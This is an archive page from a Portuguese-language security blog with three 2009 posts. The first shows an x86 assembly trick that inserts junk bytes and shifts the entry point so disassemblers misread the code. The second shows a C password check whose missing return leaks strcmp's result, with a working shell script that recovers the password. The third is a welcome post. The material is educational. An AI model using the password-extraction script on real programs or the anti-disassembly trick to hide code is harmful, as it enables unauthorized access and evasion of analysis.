Arquivo

Arquivo de janeiro, 2009

False Disassembly

20, janeiro, 2009 Anderson Eduardo 3 comentários

Olá galera.! Como meu primeiro post no blog irei falar sobre um método que irá dificultar o disassembly de um binário.

O método cria um Falso Disassembly, que irá confundir os disassemblers gerando outras instruções diferente da que irá executar colocando outros bytes juntos com o opcode correto. O código abaixo é um exemplo de um simples exit sem esse método.

1
2
3
4
5
6
7
8
.section .text
.globl _start
_start:
          xor %eax,%eax
          push %eax
          mov $0x1,%al
          push %eax
          int $0x80
c0d3labs# objdump -d normal_exit

normal_exit:     file format elf32-i386-freebsd

Disassembly of section .text:

08048074 :
 8048074:       31 c0                   xor    %eax,%eax
 8048076:       50                      push   %eax
 8048077:       b0 01                   mov    $0x1,%al
 8048079:       50                      push   %eax
 804807a:       cd 80                   int    $0x80
c0d3labs#

Agora, no exemplo abaixo, quando o disassembler for mostrar o código, irá juntar os opcodes “\xc0\xc9″ com “\x31″, que é o começo do “xor %eax,%eax”, que faz a instrução “ror $0×31,%cl”(opcode “\xc0\xc9\x31″). Isso aconteçe porque a instrução “ror”(opcode “\xc0″) recebe dois argumentos. Com isso o “\xc0″, que é o final do “xor %eax,%eax”, é ignorado e passa a ser a proxima instrução.

A chave principal dessa idéia é alterar o entry point. No caso iremos aumentar em dois para cair diretamente no “\x31\xc0″, no caso executar o “xor %eax,%eax” e, assim, ignorar o “\xc0\xc9″ que foi inserido só para confundir o disassembly.

E, em seguida, executar o “jmp . + 4″ (opcode “\xeb\x02″), que é para pular do endereço atual mais quatro. Isso para ignorar o “\xc9\xc0″ que foi inserido junto com “\xb0\x01″ para o mesmo propósito, e cair diretamente no “mov $0×1,%al”(opcode “\xb0\x01″) e assim seguir adiante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.section .text
.globl _start
_start:
         .byte 0xc0
         .byte 0xc9
         xor %eax,%eax
         push %eax
         jmp . + 4
         .byte 0xc0
         .byte 0xc9
         mov $0x1,%al
         jmp . + 4
         .byte 0xc9
         .byte 0xc0
         push %eax
         jmp . + 4
         .byte 0xc0
         .byte 0xc9
         int $0x80
c0d3labs# objdump -d false_disassembly

false_disassembly:     file format elf32-i386-freebsd

Disassembly of section .text:

08048074 <_start>:
8048074:       c0 c9 31                ror    $0x31,%cl
8048077:       c0 50 eb 02             rclb   $0x2,0xffffffeb(%eax)
804807b:       c0 c9 b0                ror    $0xb0,%cl
804807e:       01 eb                   add    %ebp,%ebx
8048080:       02 c9                   add    %cl,%cl
8048082:       c0 50 eb 02             rclb   $0x2,0xffffffeb(%eax)
8048086:       c0 c9 cd                ror    $0xcd,%cl
8048089:       80                      .byte 0x80
c0d3labs#

Para alterar o entry point, você pode mudar manualmente via qualquer editor hexadecimal no offset 0×18 ou usar esse code.

Todos os testes foram feito em um FreeBSD versão 6.2.

Até mais!

`hacknroll`

Categories: Sem categoria Tags:

return! Sim ou Não?

9, janeiro, 2009 Maycon Maia 10 comentários

Muitas vezes no cotidianos estamos trabalhando a todo vapor e acabamos deixando passar desapercebido algumas coisas que muitos dizem serem inofensivas. Um exemplo disto está na utilização do comando return nos programas escrito em C, pois muitos não sabem sua utilidade (pelo menos na main) e outros simplesmente procuram ignorá-los.

Isto não aconteceu necessariamente comigo, já que sou mais um na fila dos desempregados atoas, entretanto, ao me deparar com um código, percebi que existia uma maneira de tirar proveito desta situação, onde omite-se a utilização do comando return. Por isso resolvi compartilhar com os leitores como o post pilot do blog da Hackn’ Roll.

Vejamos o seguinte código abaixo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include "secret_pass.h"
 
int main(int argc, char **argv)
{
    if (argc != 2)
    {
        fprintf (stderr, "Use: %s [pass]\n", argv[0]);
        exit(0);
    }
 
    if (!strcmp(argv[1], PASS))
    {
        printf ("You won!\n");
    }
}

Como podemos perceber, não temos nada de Stack Overflow, Format String, Integer Overflow, nem nada de baixo nível. A única coisa que alguns devem ter percebidos é que não colocamos esquecemos o comando return da main(), e isto não tem nada d+. Certo?! Bem veremos.

Como todos sabem (se não souberem man strcmp), a função strcmp() é responsável por comparar duas strings e retornar um numero de ordem lexicográfica entre elas. Isto significa que se ao ir comparando caractere-a-caractere, em um dado momento se um caractere do primeiro parâmetro for diferente do segundo, a função irá retornar a diferença entre eles. Caso os parâmetros sejam iguais a função retorna 0 (zero).

Bem, e o que isto tem haver com o retorno de main()? Simples! Alguns sabem que o retorno de uma função fica armazenada no registrador %eax, e se dizemos que a função main() possúi um retorno, o programa retornará o valor de %eax para o S.O.. Porém não fornecemos o retorno de main(). Só que independente de termos ou não fornecido um retorno de main(), o programa retornará o valor do registrador %eax.

No nosso exemplo, a ultima função a ser executada foi a função strcmp() que retorna a comparação lexicográfica e, como não fazemos nada após ela, temos um Information Leak que nos permite obter a senha original que foi utilizada no strcmp().

Com isto, escreví um pequeno script que executa o programa e, a partir do retorno deduz qual a senha que está sendo utilizada na comparação:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
 
PROG=./secret_pass
 
pass=""
while [ 1 ]; do
        # Executa o programa e pega o retorno
        result=$($PROG "$pass")
        ret=$?
 
        # Verifica se tivemos o retorno correto
        if [ "$result" == "You won!" ]; then
                echo -ne "The password is '$pass'\n"
                exit;
        fi;
 
        # Obtem o ascii e concatena com a senha atual
        next=$(echo $ret | awk '{printf("%c", 256 - $1)}')
        pass=$pass$next
done;

Como começamos passado uma senha “” (vazia), na comparação o programa retorna 0 – NN (onde NN é o ascii do primeiro caracter). Isto geraria um underflow, o que cria a necessidade de voltar pra o valor normal com 256 – NN (vide código) e com isto obter seu valor ascii.

Veja a execução de nosso script:

$ ./get_password.sh
The password is 'ThIs iS mY SecrEt p4ssw0rd'
$ ./secret_pass "ThIs iS mY SecrEt p4ssw0rd"
You won!
$

Como visto, conseguimos obter a senha original sem mecher com assembly, shellcode, overflow, e essas que só nerds como eu gostam.

Bem, este foi meu primeiro post em meu primeiro blog. Espero que agrade e ajude no crescimento de todos.

Categories: Sem categoria Tags:

Bem vindos!

9, janeiro, 2009 Maycon Maia 3 comentários

Estávamos eu e Anderson atoa em uma sexta-feira 1h00 da manhã porque somos nerds ocupados e resolvemos fazer uma coisa inédita. Isto mesmo! Este é nosso primeiro blog, que visa apresentar gambiarras coisas que fazemos em nosso dia-a-dia para ajudar ou para resolver problemas e, como a maioria não são dígnas de documentos e artigos, vamos juntá-las aqui.

Então damos boas vindas aos visitantes e espero que gostem do material fornecido aqui. Lembrando que serão coisas voltadas a Linux, FreeBSD, Security, Insecurity entre outros.

Categories: Sem categoria Tags: